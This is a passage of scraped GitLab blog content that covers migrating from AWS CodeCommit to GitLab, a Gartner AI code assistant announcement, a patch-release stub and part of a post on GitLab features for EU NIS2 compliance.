integrating with other AWS services.\n\n**Note:** For more details on AWS's official migration recommendations, please refer to [their blog post](https://aws.amazon.com/blogs/devops/how-to-migrate-your-aws-codecommit-repository-to-another-git-provider/).\n\n## About this guide\n\nThis guide provides comprehensive information for development teams using GitLab who are considering integration with AWS services or planning to migrate from AWS-hosted Git repositories to GitLab.com. The guide is structured into three main sections:\n\n- [Parallel migration to GitLab](#section-1-parallel-migration-to-gitlab): Explains how to gradually migrate from existing AWS-hosted repositories to GitLab.com while minimizing risks.\n\n- [Integration with AWS CodeBuild](#section-2-integrating-gitlab-with-aws-codebuild): Provides steps to integrate GitLab repositories with AWS CodeBuild, setting up a powerful continuous integration (CI) environment.\n\n- [Integration with AWS CodePipeline](#section-3-integrating-gitlab-with-aws-codepipeline): Details how to connect GitLab repositories with AWS CodePipeline to build efficient continuous delivery (CD) pipelines.\n\n- [Downstream integrations for CodePipeline and CodeStar Connections](#section-4-migrating-to-gitlab): Explains how to leverage GitLab-AWS connections for widespread service access, unlocking a cascade of integration possibilities across the AWS ecosystem.\n\nThrough this guide, you'll learn how to combine the powerful features of GitLab and AWS to create an efficient and flexible development workflow.\n\n## Section 1: Parallel migration to GitLab \n\nFor those considering migrating Git repositories hosted on AWS to GitLab.com, this section, which is a phased approach, introduces methods to achieve migration while minimizing risks. By leveraging GitLab's mirroring capabilities, you can maintain existing development flows while testing the new environment.\n\n### Why is parallel migration important?\n\nLarge-scale system migrations always involve risks, particularly potential impacts on ongoing development work, existing integrations, and automated processes. Adopting a parallel migration approach offers the following benefits:\n\n1. Risk minimization: Test the new environment while keeping existing systems operational.\n2. Seamless transition: Development teams can gradually acclimate to the new system.\n3. Integration testing: Thoroughly test all integrations and automation in the new environment.\n4. Future-proofing: Enable teams to gradually migrate to GitLab CI/CD in parallel to existing CI.\n\nParallel migration is not required if it is already known that you want to cut over directly to GitLab.\n\n### Steps for migrating to GitLab.com\n\n#### Step 1: Get set up on GitLab.com\n\n- Check if your company already has a group in use on GitLab.com and whether they have single sign-on (SSO) set up – if they do, then you will want to use both.\n\n- If your company does not have a presence on GitLab.com, visit [GitLab.com](www.gitlab.com) and create a new account or log in to an existing one.\n- Create a new company namespace (a group at the root level of gitlab.com).\n- Pick a name that reflects your entire company (and is not already taken).\n\n#### Step 2: Import repository\nFor parallel migration: Use GitLab's pull mirroring feature to automatically sync changes from AWS-hosted repositories to GitLab.com.\n\n1. Navigate to the target group GitLab.com.\n2. In the upper right, click \"New project.\"\n3. On the \"Create new project\" page, click \"Import project.\"\n4. On the \"Import project\" page, click \"Repository by URL.\"\n5. Enter the URL of your AWS-hosted repository in the \"Git repository URL\" field.\n6. Underneath the Git repository URL field, check \"Mirror repository.\"\n7. Set up authentication: in the AWS CodeCommit console, select the clone URL for the repository you will migrate. If you plan on importing CodeCommit repositories into GitLab, you can use the HTTPS CodeCommit URL to clone the repository via GitLab Repository Mirroring. You will need to also provide your Git credentials from AWS for your identity and access management (IAM) user within GitLab. You can create Git credentials for AWS CodeCommit by following this [AWS guide](https://docs.aws.amazon.com/codecommit/latest/userguide/setting-up-gc.html).\n\n![Clone URL](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097822/Blog/Content%20Images/Blog/Content%20Images/clone-url-screenshot__1__aHR0cHM6_1750097822121.png)\n\nThis setup will automatically pull changes from the AWS-hosted repository to GitLab.com every five minutes by default.\n\nFor more information, read our [repository mirroring documentation](https://docs.gitlab.com/ee/user/project/repository/mirror/).\n\n#### Step 3: Test and validate integrations\n\n1. CI/CD pipelines: Set up the `.gitlab-ci.yml` file in GitLab CI to replicate existing pipelines. You can read more about [planning a migration from other CI tools into GitLab CI/CD](https://docs.gitlab.com/ee/ci/migration/plan_a_migration.html).\n2. Issue tracking: Import project issues and test workflows.\n3. Code review: Set up the merge request process and test review workflows.\n\n#### Step 4: Gradual migration\n\n1. Start with small or non-critical projects to familiarize yourself with working on GitLab.com.\n2. Provide training for team members and allow time to adapt to new workflows.\n3. Gradually migrate more projects while ensuring integrations and workflows are problem-free.\n\nFor more information, see [Automating Migrations from CodeCommit to GitLab](https://gitlab.com/guided-explorations/aws/migrating-from-codecommit-to-gitlab/-/blob/main/migrating_codecommit_to_gitlab.md).\n\n#### Step 5: Complete migration\nOnce all tests and validations are complete and the team is comfortable with the new environment, plan for full migration. For each project:\n\n1. Set a migration date and notify all stakeholders.\n2. Perform final data synchronization.\n3. Remove mirroring settings from the GitLab project.\n4. Set AWS-hosted repositories to read-only and transition all development work to GitLab.com.\n\n#### Step 6: Assess adoption of new capabilities\n\nGitLab collaboration and workflow automation for developers is far richer than CodeCommit. It merits some time to learn what these capabilities are. The merge request process is especially rich compared to CodeCommit.\n\nAfter repositories are stable on GitLab, it is very easy to experiment with GitLab CI/CD in parallel to an existing solution. Teams can take time to perfect their GitLab CI/CD automation while production workflows remain unaffected.\n\nGitLab artifact management is also very capable with the Releases feature and many package registries.\n\n### Section 1: Summary\nBy adopting a parallel migration approach to GitLab, you can achieve a smooth transition while minimizing risks. This process allows teams to gradually adapt to the new environment and ensure all integrations and automations function correctly. Cutover migrations only omit a single setting checkbox if it is known that a parallel migration is not necessary.\n\n## Section 2: Integrating GitLab with AWS CodeBuild\n\nFor those wanting to build and test code from GitLab repositories using AWS CodeBuild, this comprehensive guide will help you set up an efficient CI pipeline.\n\n### Prerequisites\n\n- GitLab.com account\n- AWS account\n- AWS CLI (configured)\n\n### Step 1: Create GitLab connection in AWS CodeStar Connections\n\n1. Log in to the AWS Management Console and navigate to the CodeBuild service.\n2. Select \"Settings\" > \"Connections\" from the left navigation panel.\n3. Click the \"Create connection\" button.\n4. Choose \"GitLab\" as the provider.\n5. Enter a connection name and click \"Connect to GitLab.\"\n6. You'll be redirected to the GitLab authentication page.\n7. Approve the necessary permissions.\n8. Once successful, the connection status will change to \"Available.\"\n\n![CodeStar Connect setup](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097822/Blog/Content%20Images/Blog/Content%20Images/codestar-connections-setup_aHR0cHM6_1750097822122.png)\n\n### Step 2: Create AWS CodeBuild project\n\n1. Click \"Create build project\" on the CodeBuild dashboard.\n2. Enter a project name and description.\n3. For source settings, select \"GitLab\" as the provider.\n4. Choose the connection you just created and specify the GitLab repository and branch.\n\n![Add CodeBuild project](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097822/Blog/Content%20Images/Blog/Content%20Images/codepipeline_step_3_add_codebuild_aHR0cHM6_1750097822123.png)\n\n**Note: From Step 3 forward, please configure the settings according to your specific environment and needs.**\n\n### Summary of Section 2\nThis section explained in detail how to integrate GitLab repositories with AWS CodeBuild. This setup enables a continuous integration pipeline where code changes in GitLab are automatically built and tested using AWS CodeBuild.\n\n## Section 3: Integrating GitLab with AWS CodePipeline\n\nFor those looking to implement continuous delivery from GitLab repositories using AWS CodePipeline, this detailed guide will be helpful. The integration has become even easier now that GitLab is available as an AWS CodeStar Connections provider.\n\n### Prerequisites\n\n- GitLab.com account\n- AWS account\n- AWS CLI (configured)\n\n### Step 1: Create GitLab connection in AWS CodeStar Connections\n\n1. Log in to the AWS Management Console and navigate to the CodePipeline service.\n2. Select \"Settings\" > \"Connections\" from the left navigation panel.\n3. Click the \"Create connection\" button.\n4. Choose \"GitLab\" as the provider.\n5. Enter a connection name and click \"Connect to GitLab.\"\n6. You'll be redirected to the GitLab authentication page.\n7. Approve the necessary permissions.\n8. Once successful, the connection status will change to \"Available.\"\n\n![CodeStar Connections setup](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097822/Blog/Content%20Images/Blog/Content%20Images/codestar-connections-setup_aHR0cHM6_1750097822125.png)\n\n### Step 2: Create AWS CodePipeline\n\n1. Click \"Create pipeline\" on the CodePipeline dashboard.\n2. Enter a pipeline name and click \"Next.\"\n3. Select \"GitLab\" as the source provider.\n4. Choose the connection you just created and specify the GitLab repository and branch.\n5. Select the Trigger type: You can trigger CodePipeline pipeline execution based on either pull or push events against specific branches and file types within your repository.\n\n![Add source provider](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097822/Blog/Content%20Images/Blog/Content%20Images/codepipeline_step_2_source_provider_aHR0cHM6_1750097822127.png)\n\n![Add source configuration](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097822/Blog/Content%20Images/Blog/Content%20Images/codepipeline_step_2_source_configured_aHR0cHM6_1750097822129.png)\n\n**Note: From Step 3 forward, please configure the settings according to your specific environment and needs.**\n\n### Summary of Section 3\nThis section detailed how to integrate GitLab repositories with AWS CodePipeline. This setup enables a continuous delivery pipeline where code changes in GitLab are automatically deployed to your AWS environment.\n\n## Section 4: Migrating to GitLab\n\nIntegrating GitLab with AWS unlocks powerful capabilities for streamlining your development and deployment workflows and helps to solve your source code management woes. This integration can be achieved in several ways, each offering unique benefits:\n\n- Using AWS CodeStar Connections to link GitLab with AWS services enables a more cohesive workflow by allowing external Git repositories, like GitLab, to connect with various AWS services. This setup supports automated builds, deployments, and other essential actions directly from your GitLab repository, making your development process more integrated and streamlined.\n\n- Connecting GitLab with AWS CodePipeline via AWS CodeStar Connections takes automation to the next level by allowing you to create a full CI/CD pipeline. This approach integrates GitLab with AWS CodePipeline, enabling you to automate the entire process – from source control and builds to testing and deployment – using AWS services like CodeBuild and CodeDeploy. This ensures a robust, scalable, and efficient delivery process.\n\n![Chart of new technology and solutions for using GitLab and AWS together](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097822/Blog/Content%20Images/Blog/Content%20Images/Announcing_New_Technology_and_Solutions_for_using_GitLab_and_AWS_Together_aHR0cHM6_1750097822130.png)\n\n1\\. Connecting GitLab with AWS services using AWS CodeStar Connections\n\nAWS CodeStar Connections is a service that allows you to connect external Git repositories (such as GitHub or Bitbucket) to AWS services. You can also connect GitLab to AWS services via CodeStar Connections. When using GitLab, you may need to set up a custom connection as an HTTP Git server.\nThe following AWS services can be connected to GitLab using this method:\n\n- **AWS Service Catalog**\n\nAWS Service Catalog helps organizations standardize and manage AWS resources. Integrating it with GitLab improves transparency in resource management and simplifies change tracking. Specifically, you can automate catalog updates based on GitLab commits, enhancing operational efficiency.\n\n- __AWS CodeBuild__\n\nAWS CodeBuild is a managed build service that compiles source code, runs tests, and produces deployable software packages. Integrating GitLab with CodeBuild allows automated build processes to start whenever code changes are pushed to GitLab. This ensures consistency in builds and facilitates easier collaboration and version control.\n\n- __AWS Glue Notebook Jobs__\n\nAWS Glue Notebook Jobs is a service that allows you to interactively develop and run data preparation and ETL (Extract, Transform, Load) tasks. Integrating GitLab with Glue Notebook Jobs enables version control for notebooks and ETL scripts, promotes collaboration among team members, and improves the quality management of data processing pipelines.\n\n- __AWS Proton__\n\nAWS Proton is a service that automates the development and deployment of microservices and serverless applications. By integrating GitLab with AWS Proton, you can manage infrastructure as code, automate deployments, and ensure consistent environment management, leading to more efficient development processes.\n\nAs AWS CodeStar Connections supports more services, connecting GitLab with additional AWS services will become easier. It's advisable to regularly check for new services that support CodeStar Connections.\n\n2. Connecting CodePipeline with GitLab via AWS CodeStar Connections (including CodeDeploy)\n\nAWS CodePipeline is a continuous delivery service that automates the release process for software. To connect GitLab with CodePipeline, you need to use AWS CodeStar Connections. This setup allows you to designate a GitLab repository as the source and automate the entire CI/CD pipeline.\nThe primary actions supported by CodePipeline include:\n- **Source control:** AWS CodeCommit, GitHub, Bitbucket, GitLab\n- **Build and test:** AWS CodeBuild, Jenkins\n- **Deploy:** AWS CodeDeploy, Elastic Beanstalk, ECS, S3\n- **Approval:** Manual approval\n- **Infrastructure management:** AWS CloudFormation\n- **Serverless:** AWS Lambda\n- **Testing:** AWS Device Farm\n- **Custom Actions:** AWS Step Functions\n\nBy integrating GitLab with CodePipeline, you can automatically trigger the pipeline whenever code changes are pushed to GitLab, allowing a consistent process from build to deployment. Additionally, combining this with GitLab's version control capabilities makes it easier to track deployment history and states, leading to more flexible and reliable software delivery.\n\n## What you've learned\nThis guide has provided comprehensive information on migrating to and integrating GitLab with AWS. Through the four main topics, we've covered:\n- Parallel migration to GitLab: How to gradually migrate from existing AWS-hosted repositories to GitLab.com while minimizing risks.\n- Integration with AWS CodeBuild: Steps to set up a powerful CI environment integrated with GitLab repositories.\n- Integration with AWS CodePipeline: How to build efficient continuous delivery pipelines using GitLab repositories.\n- Downstream integrations for CodePipeline and CodeStar Connections: Leveraging GitLab-AWS connections for widespread service access, unlocking a cascade of integration possibilities across the AWS ecosystem.\n\nAs every organization's code hosting and integration implementation strategy is unique, this tutorial may be used as a starting point for your own GitLab + AWS integration and implementation strategy.\n\n## Additional resources\n\nFor more detailed information and advanced configurations, refer to the following resources:\n\n- [GitLab documentation](https://docs.gitlab.com/)\n- [AWS CodeBuild User Guide](https://docs.aws.amazon.com/codebuild/latest/userguide/welcome.html)\n- [AWS CodePipeline User Guide](https://docs.aws.amazon.com/codepipeline/latest/userguide/welcome.html)\n- [GitLab CI/CD documentation](https://docs.gitlab.com/ee/ci/)\n- [Integrate with AWS](https://docs.gitlab.com/ee/solutions/cloud/aws/gitlab_aws_integration.html)\n\nIf you have questions or need support, please contact [GitLab Support](https://about.gitlab.com/support/) or AWS Support. We hope this comprehensive guide helps you in your AWS-GitLab integration journey.",[110,944,479,696,2488,695,232],{"slug":4831,"featured":92,"template":678},"ultimate-guide-to-migrating-from-aws-codecommit-to-gitlab","content:en-us:blog:ultimate-guide-to-migrating-from-aws-codecommit-to-gitlab.yml","Ultimate Guide To Migrating From Aws Codecommit To Gitlab","en-us/blog/ultimate-guide-to-migrating-from-aws-codecommit-to-gitlab.yml","en-us/blog/ultimate-guide-to-migrating-from-aws-codecommit-to-gitlab",{"_path":4837,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":4838,"content":4843,"config":4848,"_id":4850,"_type":16,"title":4851,"_source":17,"_file":4852,"_stem":4853,"_extension":20},"/en-us/blog/gitlab-named-a-leader-in-2024-gartner-magic-quadrant-for-ai-code-assistants",{"title":4839,"description":4840,"ogTitle":4839,"ogDescription":4840,"noIndex":6,"ogImage":732,"ogUrl":4841,"ogSiteName":1180,"ogType":1181,"canonicalUrls":4841,"schema":4842},"GitLab named a Leader in 2024 Gartner Magic Quadrant for AI Code Assistants","In the first Gartner® Magic Quadrant™ for this category, GitLab is recognized for its ability to execute and completeness of vision in AI code assistant technology.","https://about.gitlab.com/blog/gitlab-named-a-leader-in-2024-gartner-magic-quadrant-for-ai-code-assistants","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab named a Leader in 2024 Gartner Magic Quadrant for AI Code Assistants\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Dave Steer\"}],\n        \"datePublished\": \"2024-08-22\",\n      }",{"title":4839,"description":4840,"authors":4844,"heroImage":732,"date":4845,"body":4846,"category":791,"tags":4847},[1304],"2024-08-22","We’re thrilled to announce that GitLab has been recognized as a Leader in the [Gartner® Magic Quadrant™ for AI Code Assistants](https://about.gitlab.com/gartner-mq-ai-code-assistants/) — the first-ever year of this category. We feel this is an important recognition and we believe it highlights our commitment to delivering AI-powered capabilities that accelerate software delivery, enhance security, and drive innovation for our customers. \n\nAI code assistants go beyond just code generation and completion. They're collaborative partners that boost developer efficiency by improving code quality and continuous learning. By automating routine tasks and providing intelligent suggestions, assistants like GitLab Duo — our suite of AI-powered features — free up developer time to focus on higher-level problem-solving. \n\n![Gartner MQ AI Code Assistants image](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675964/Blog/Content%20Images/AI_Code_Assistants_MQ_graphic__1_.png)\n\n> Download the [2024 Gartner® Magic Quadrant™ for AI Code Assistants report](https://about.gitlab.com/gartner-mq-ai-code-assistants/).\n\n## AI code assistants: Speed, security, and seamless integration\n\nAI code assistants are integral to organizations of all sizes, helping DevSecOps teams develop and deploy secure software faster. However, the true value of AI emerges when it’s integrated across the entire software development lifecycle. Unlike limited AI point solutions, which can lead to fragmented toolchains and data silos, GitLab’s comprehensive platform embeds AI from planning through production, offering holistic visibility and insights via metrics and dashboards.\n\n## The power of GitLab Duo\n\n[GitLab Duo](https://about.gitlab.com/gitlab-duo/) is a comprehensive toolbox of AI capabilities designed to improve the developer experience, shift security left in the development cycle, and strengthen collaboration across Dev, Sec, and Ops teams. Key features include: \n\n* Code Suggestions for code generation and code completion\n* Chat for context-aware, in-app assistance on code explanation, code refactoring, and test generation\n* Vulnerability Explanation to better understand vulnerabilities in code\n* Vulnerability Resolution to help mitigate found vulnerabilities\n* Root Cause Analysis to troubleshoot pipeline issues\n* AI Impact Analytics Dashboard to gain real-time insights and evaluate an organization's AI ROI\n\n## Maximizing ROI with AI \n\nBusiness and engineering leaders need visibility into how AI is being used across the software development lifecycle to assess the ROI of their technology investments. GitLab's [AI Impact Analytics Dashboard](https://about.gitlab.com/blog/developing-gitlab-duo-ai-impact-analytics-dashboard-measures-the-roi-of-ai/) provides that visibility as well as metrics to gauge AI adoption rates, performance improvements, and more.\n\n## Flexibility, privacy, and transparency at the forefront\n\nGitLab customers looking to explore AI-powered capabilities can use GitLab Duo to leverage the power of AI securely across an IDE of choice or a remote development workspace right out of the box, with a flexible pricing structure and a 60-day free trial. Also, the [GitLab AI Transparency Center](https://about.gitlab.com/ai-transparency-center/) provides full visibility into our governance and transparency practices. \n\nSoon, organizations will be able to [tailor their AI experience](https://about.gitlab.com/blog/meet-gitlab-duo-workflow-the-future-of-ai-driven-development/) to their strategic and regulatory requirements with model personalization and self-hosted model deployment. Model personalization will allow enterprises to customize GitLab Duo and tap into AI’s full potential in close alignment with their business goals, operational needs, and customer expectations. Self-hosted model deployment ensures that data does not leave an organization's secure environment, reducing the risk of breaches and ensuring compliance for highly regulated industries. \n\n## Leading the future of AI in DevSecOps\n\nGitLab is your partner in AI-driven software development. We equip teams with the tools to build, secure, and deploy software faster. Our commitment to innovation ensures you're always at the forefront of AI advancements. Stay tuned for exciting updates on our roadmap as we continue to revolutionize DevSecOps.\n\n> [Download the 2024 Gartner® Magic Quadrant™ for AI Code Assistants report](https://about.gitlab.com/gartner-mq-ai-code-assistants/).\n\n***Source: Gartner, Magic Quadrant for AI Code Assistants, Arun Batchu, Haritha Khandabattu, Philip Walsh, Matt Brasier, August 2024***\n\n***GARTNER is a registered trademark and service mark of Gartner, Inc. and/or its affiliates in the U.S. and internationally, and MAGIC QUADRANT is a registered trademark of Gartner, Inc. and/or its affiliates and are used herein with permission. All rights reserved.***\n\n***Gartner does not endorse any vendor, product or service depicted in its research publications, and does not advise technology users to select only\nthose vendors with the highest ratings or other designation. Gartner research publications consist of the opinions of Gartner’s research\norganization and should not be construed as statements of fact. Gartner disclaims all warranties, expressed or implied, with respect to this research, including any warranties of merchantability or fitness for a particular purpose.***\n\n***This graphic was published by Gartner Inc. as part of a larger report and should be evaluated in the context of the entire document. The Gartner\ndocument is available upon request from Gartner B.V.***\n",[736,790,943,1307],{"slug":4849,"featured":92,"template":678},"gitlab-named-a-leader-in-2024-gartner-magic-quadrant-for-ai-code-assistants","content:en-us:blog:gitlab-named-a-leader-in-2024-gartner-magic-quadrant-for-ai-code-assistants.yml","Gitlab Named A Leader In 2024 Gartner Magic Quadrant For Ai Code Assistants","en-us/blog/gitlab-named-a-leader-in-2024-gartner-magic-quadrant-for-ai-code-assistants.yml","en-us/blog/gitlab-named-a-leader-in-2024-gartner-magic-quadrant-for-ai-code-assistants",{"_path":4855,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":4856,"content":4862,"config":4868,"_id":4871,"_type":16,"title":4872,"_source":17,"_file":4873,"_stem":4874,"_extension":20},"/en-us/blog/gitlab-patch-release-17-3-1-17-2-4-17-1-6",{"title":4857,"description":4858,"ogTitle":4857,"ogDescription":4858,"config":4859,"ogImage":3431,"ogUrl":4860,"ogSiteName":1180,"ogType":1181,"canonicalUrls":4860,"schema":4861},"GitLab Patch Release: 17.3.1, 17.2.4, 17.1.6","Learn more about GitLab Patch Release: 17.3.1, 17.2.4, 17.1.6 for GitLab Community Edition (CE) and Enterprise Edition (EE).",{"noIndex":92},"https://about.gitlab.com/blog/gitlab-patch-release-17-3-1-17-2-4-17-1-6","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Patch Release: 17.3.1, 17.2.4, 17.1.6\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ameya Darshan\"}],\n        \"datePublished\": \"2024-08-21\",\n      }",{"title":4857,"description":4858,"authors":4863,"heroImage":3431,"date":4865,"body":4866,"category":674,"tags":4867},[4864],"Ameya Darshan","2024-08-21","This is the post for [GitLab Patch Release: 17.3.1, 17.2.4, 17.1.6](https://about.gitlab.com/releases/2024/08/21/patch-release-gitlab-17-3-1-released/).",[1464],{"slug":4869,"featured":6,"template":678,"externalUrl":4870},"gitlab-patch-release-17-3-1-17-2-4-17-1-6","https://about.gitlab.com/releases/2024/08/21/patch-release-gitlab-17-3-1-released/","content:en-us:blog:gitlab-patch-release-17-3-1-17-2-4-17-1-6.yml","Gitlab Patch Release 17 3 1 17 2 4 17 1 6","en-us/blog/gitlab-patch-release-17-3-1-17-2-4-17-1-6.yml","en-us/blog/gitlab-patch-release-17-3-1-17-2-4-17-1-6",{"_path":4876,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":4877,"content":4882,"config":4887,"_id":4889,"_type":16,"title":4890,"_source":17,"_file":4891,"_stem":4892,"_extension":20},"/en-us/blog/how-gitlab-helps-meet-nis2-requirements",{"title":4878,"description":4879,"ogTitle":4878,"ogDescription":4879,"noIndex":6,"ogImage":1713,"ogUrl":4880,"ogSiteName":1180,"ogType":1181,"canonicalUrls":4880,"schema":4881},"How GitLab helps meet NIS2 requirements","The EU's NIS2 cybersecurity legislation focuses on resilience, incident response, and risk management. Learn how GitLab's DevSecOps platform helps meet these compliance requirements.","https://about.gitlab.com/blog/how-gitlab-helps-meet-nis2-requirements","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How GitLab helps meet NIS2 requirements\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Joseph Longo\"}],\n        \"datePublished\": \"2024-08-20\",\n      }",{"title":4878,"description":4879,"authors":4883,"heroImage":1713,"date":4884,"body":4885,"category":674,"tags":4886},[1224],"2024-08-20","Government and regulatory bodies across the world are continuously seeking to enact new laws and requirements to address the growing risk posed by global digitization and the resulting cybersecurity threat landscape. The European Union's [NIS2 Directive](https://eur-lex.europa.eu/eli/dir/2022/2555) is legislation that aims to increase cybersecurity by focusing on core competencies, including resilience, incident response, and risk management.\n\nAs the most comprehensive AI-powered DevSecOps platform, GitLab is used globally to develop better software faster. GitLab’s diverse feature set makes it a unique and valuable asset, capable of addressing many of our customers’ [security and compliance](https://about.gitlab.com/solutions/security-compliance/) needs. Let’s explore how customers can leverage the GitLab platform to support their NIS2 compliance efforts.\n\n## Article 7: National Cybersecurity Strategy\n\n**Section 2(a) - addressing cybersecurity in the supply chain for ICT products and ICT services used by entities for the provision of their services.**\n\nNIS2 requires member states to adopt policies that address cybersecurity in the supply chain. While the policies are yet to be defined by each member state, GitLab’s [Secure](https://about.gitlab.com/features/?stage=secure) stage offers a suite of features that enable customers to manage the security of their offered services as well as their supply chain.\n\n- [Static Application Security Testing (SAST)](https://about.gitlab.com/features/?stage=secure#static_application_security_testing),  [Infrastructure as Code Security Scanning](https://docs.gitlab.com/ee/user/application_security/iac_scanning/), and [Dynamic Application Security Testing (DAST)](https://about.gitlab.com/features/?stage=secure#dynamic_application_security_testing) enable customers to scan their source code, infrastructure definition files, and running applications for vulnerabilities. Then, findings can be triaged and addressed in accordance with each organization’s processes.\n\n- GitLab’s [Container Scanning](https://about.gitlab.com/features/?stage=secure#container_scanning) feature helps customers identify known vulnerabilities in their container images. \n\n![Container scanning report](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674396/Blog/Content%20Images/Screenshot_2024-08-20_at_10.38.54.png)\n\n- For the supply chain, [Dependency Scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/) helps identify known vulnerabilities in our customers’ application dependencies. [License Compliance](https://docs.gitlab.com/ee/user/compliance/license_approval_policies.html) serves as an extension of Dependency Scanning by validating whether the licenses of dependencies meet a set of criteria determined by the organization.\n\n- GitLab’s [Dependency List](https://docs.gitlab.com/ee/user/application_security/dependency_list/) also enables organizations to create a CycloneDX [software bill of materials (SBOM)](https://about.gitlab.com/blog/the-ultimate-guide-to-sboms/). To learn more, view [this tutorial on how to export an SBOM](https://docs.gitlab.com/ee/tutorials/export_sbom.html).\n\nTogether, these scanning features help create a holistic and strong testing suite to support robust application development and supply chain management processes. DAST, Dependency Scanning, and License Compliance are available with a GitLab Ultimate subscription.\n\n> [Try GitLab Ultimate free for 30 days](https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/blog&glm_content=default-saas-trial).\n\n## Article 21: Cybersecurity Risk Management Measures\n\nNIS2 requires member states to ensure that essential and important entities implement appropriate technical, organizational, and operational measures to properly manage risk and mitigate the impact that the users of their services incur as a result of incidents to their service.\n\n**Section 2(d) - supply chain security, including security-related aspects concerning the relationships between each entity and its direct suppliers or service providers.**\n\nAs noted above, GitLab’s [Secure](https://about.gitlab.com/features/?stage=secure) stage enables customers to implement a broad range of detective and responsive capabilities that improve the security of their code and address risk within their supply chains.\n\nThose features can be leveraged to address the requirements that member states will pass down as part of this section.\n\n**Section 2(e) - security in network and information systems acquisition, development and maintenance, including vulnerability handling and disclosure.**\n\nAs a comprehensive DevSecOps platform, GitLab’s features help secure our customers’ software delivery lifecycles from beginning to end.\n\n- GitLab’s [planning tools](https://about.gitlab.com/features/?stage=plan) can be used to support your project management efforts and ensure that information security is appropriately considered through all phases of a project’s lifecycle. To learn more, read [How GitLab can support your ISO 27001 compliance journey](https://about.gitlab.com/blog/how-gitlab-can-support-your-iso-compliance-journey/#organizational-controls).\n\n- Through features such as [Protected Branches](https://docs.gitlab.com/ee/user/project/protected_branches.html), [Merge Request Approvals](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/), [Push Rules](https://docs.gitlab.com/ee/push_rules/push_rules.html), and [Signed Commits](https://docs.gitlab.com/ee/user/project/repository/signed_commits/), GitLab’s [Create Stage](https://about.gitlab.com/features/?stage=create) implements a secure foundation for developers to work from as they iterate and build secure code.\n\n![Signed commits](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674396/Blog/Content%20Images/Screenshot_2024-08-20_at_10.34.24.png)\n\n- GitLab’s [Secure stage](https://about.gitlab.com/features/?stage=verify) features, as mentioned above, deliver security-based value to GitLab’s [Verify](https://about.gitlab.com/features/?stage=verify), [Package](https://about.gitlab.com/features/?stage=package), and [Deploy](https://about.gitlab.com/features/?stage=deploy) stages. These stages include core [Continuous Integration](https://about.gitlab.com/features/?stage=verify)/[Continuous Delivery](https://about.gitlab.com/features/?stage=deploy) features, such as [MR Pipelines](https://docs.gitlab.com/ee/ci/merge_request_pipelines/) and [Protected Runners](https://docs.gitlab.com/ee/ci/runners/#prevent-runners-from-revealing-sensitive-information), as well as several artifact registries to meet your organizational needs.\n\n- GitLab’s [Monitor stage](https://about.gitlab.com/features/?stage=monitor) offers features such as [Alerts](https://docs.gitlab.com/ee/operations/incident_management/alerts.html) and [Incidents](https://docs.gitlab.com/ee/operations/incident_management/incidents.html) to help organizations become aware of incidents and track them to remediation all within GitLab.\n\n- GitLab’s [Govern stage](https://about.gitlab.com/features/?stage=govern) features, as the name implies, set the standard for who can use a GitLab instance and in which way. They also help support an organization’s overall compliance efforts.\n  - Features such as [SCIM](https://docs.gitlab.com/ee/administration/settings/scim_setup.html), [SSO](https://docs.gitlab.com/ee/user/group/saml_sso/), and [Custom Roles](https://docs.gitlab.com/ee/user/custom_roles.html) effectively support authentication and authorization lifecycles.\n  - [MR Approval Policies](https://docs.gitlab.com/ee/user/application_security/policies/scan-result-policies.html) are a powerful tool for implementing a security gate in your software development lifecycle. Using MR Approval Policies, an organization can require additional approvals for events such as when vulnerabilities are detected after a commit, certain license types are detected in dependencies, or for any MR made against a particular protected branch. MR Approval Policies are available with a GitLab Ultimate subscription.\n  - With [GitLab Duo](https://about.gitlab.com/gitlab-duo/), organizations can leverage the [Vulnerability Explanation](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/index.html#explaining-a-vulnerability) feature to:\n    - summarize the vulnerability\n    - help developers and security analysts understand the vulnerability, how it could be exploited, and how to fix it\n    - provide a suggested mitigation\n  -  [Streaming Audit Events](https://docs.gitlab.com/ee/user/compliance/audit_event_streaming.html) enable organizations to send audit events from their top-level group to an external location to receive all events about the group, subgroups, and projects. Streaming Audit Events are available with a GitLab Ultimate subscription.\n  -  A strong insider threat program combines multiple layers of detective, preventive, and reactive controls. [Git Abuse Rate Limiting](https://docs.gitlab.com/ee/user/group/reporting/git_abuse_rate_limit.html) automatically notifies administrators when a user downloads, clones, pulls, fetches, or forks more than a specified number of repositories of a group in a given timeframe. Organizations can go a step further and enable automatic banning to ban the offending user from the group and its subgroups. Git Abuse Rate Limiting is available with a GitLab Ultimate subscription.\n  -  To dive deeper on detected vulnerabilities, GitLab’s [Vulnerability Report](https://docs.gitlab.com/ee/user/application_security/vulnerability_report/) provides information about vulnerabilities from scans of the default branch. Vulnerability Reports are available with a GitLab Ultimate subscription.\n\n![Vulnerability Report](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674396/Blog/Content%20Images/Screenshot_2024-08-20_at_10.32.02.png)\n\n**Section 2(j)- the use of multi-factor authentication or continuous authentication solutions, secured voice, video and text communications, and secured emergency communication systems within the entity, where appropriate.**\n\nGitLab offers several multi-factor authentication options to support a stronger authentication process. Customers can leverage the [multi-factor authentication option](https://docs.gitlab.com/ee/user/profile/account/two_factor_authentication.html) that meets their 